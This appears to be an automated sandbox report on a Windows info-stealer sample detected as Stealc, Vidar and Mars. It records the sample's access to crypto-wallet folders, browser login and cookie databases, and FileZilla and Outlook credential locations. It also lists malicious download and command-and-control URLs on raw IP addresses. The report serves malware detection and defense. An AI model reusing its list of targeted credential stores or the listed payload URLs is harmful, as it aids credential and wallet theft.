Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7508, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1961628481.00000000008D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829921422.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000C.00000002.1962641348.000000000187E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1833532825.0000000001B14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 19a0b0f0ae.exe PID: 7640, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1961628481.00000000008D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829921422.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7508, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	55%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	phishing
http://85.28.47.4/	100%	Avira URL Cloud	malware
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpS	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpG	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/vcruntime140.dllr	100%	Avira URL Cloud	malware
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dll-y	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/softokn3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.phpY	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.php3	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/nss3.dlla	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php-	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpmespace	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	0%	Avira URL Cloud	safe
http://85.28.47.43	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/mozglue.dll	100%	Avira URL Cloud	malware
http://85.28.47.4/69934896f997d5bb/nss3.dll	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php/skR	100%	Avira URL Cloud	phishing
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exephprefoxx	100%	Avira URL Cloud	phishing
http://85.28.47.4/920475a59bac849d.phpNu	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpy6o	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dll	100%	Avira URL Cloud	malware
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://85.28.47.4/920475a59bac849d.phpRLH_	100%	Avira URL Cloud	malware
http://85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php$	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	phishing
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exeData	100%	Avira URL Cloud	phishing
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	100%	Avira URL Cloud	malware
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exea	100%	Avira URL Cloud	phishing
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	100%	Avira URL Cloud	malware
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://85.28.47.4/69934896f997d5bb/freebl3.dllGy	100%	Avira URL Cloud	malware
http://85.28.47.4	100%	Avira URL Cloud	malware
http://pki-ocsp.symauth.com0	0%	Avira URL Cloud	safe
85.28.47.4/920475a59bac849d.php	100%	Avira URL Cloud	malware
http://85.28.47.4s	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exerlencoded	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/mine/amadka.exe	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php	true	Avira URL Cloud: phishing	unknown
http://85.28.47.4/69934896f997d5bb/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: malware	unknown
85.28.47.4/920475a59bac849d.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.4/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://77.91.77.82/Hun4Ko/index.phpS	explorti.exe, 00000008.00000002.4114207813.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exe	file.exe, 00000000.00000002.1833532825.0000000001AFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpG	explorti.exe, 00000008.00000002.4114207813.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/	19a0b0f0ae.exe, 0000000C.00000002.1962641348.00000000018B7000.00000004.00000020.00020000.00000000.sdmp, 19a0b0f0ae.exe, 0000000C.00000002.1962641348.00000000018CC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	file.exe, random[1].exe.8.dr, 19a0b0f0ae.exe.8.dr	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	file.exe, random[1].exe.8.dr, 19a0b0f0ae.exe.8.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/freebl3.dll-y	file.exe, 00000000.00000002.1833532825.0000000001B38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.1829921422.0000000000708000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1707237367.0000000022FFD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.4/69934896f997d5bb/vcruntime140.dllr	file.exe, 00000000.00000002.1833532825.0000000001B4D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpY	explorti.exe, 00000008.00000002.4114207813.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/69934896f997d5bb/nss3.dlla	file.exe, 00000000.00000002.1833532825.0000000001B38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php-	explorti.exe, 00000008.00000002.4114207813.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	IJJKKJJDAAAAAKFHJJDG.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.php3	19a0b0f0ae.exe, 0000000C.00000002.1962641348.00000000018B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.phpmespace	explorti.exe, 00000008.00000002.4114207813.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 00000008.00000002.4114207813.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.1829921422.0000000000708000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.43	file.exe, 00000000.00000002.1833532825.0000000001AFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	file.exe, 00000000.00000002.1829921422.0000000000708000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/skR	explorti.exe, 00000008.00000002.4114207813.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1863139205.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.81/mine/amadka.exephprefoxx	file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exe00	file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.4/920475a59bac849d.phpNu	19a0b0f0ae.exe, 0000000C.00000002.1962641348.00000000018CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpy6o	explorti.exe, 00000008.00000002.4114207813.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.4/920475a59bac849d.phpRLH_	19a0b0f0ae.exe, 0000000C.00000002.1962641348.00000000018CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
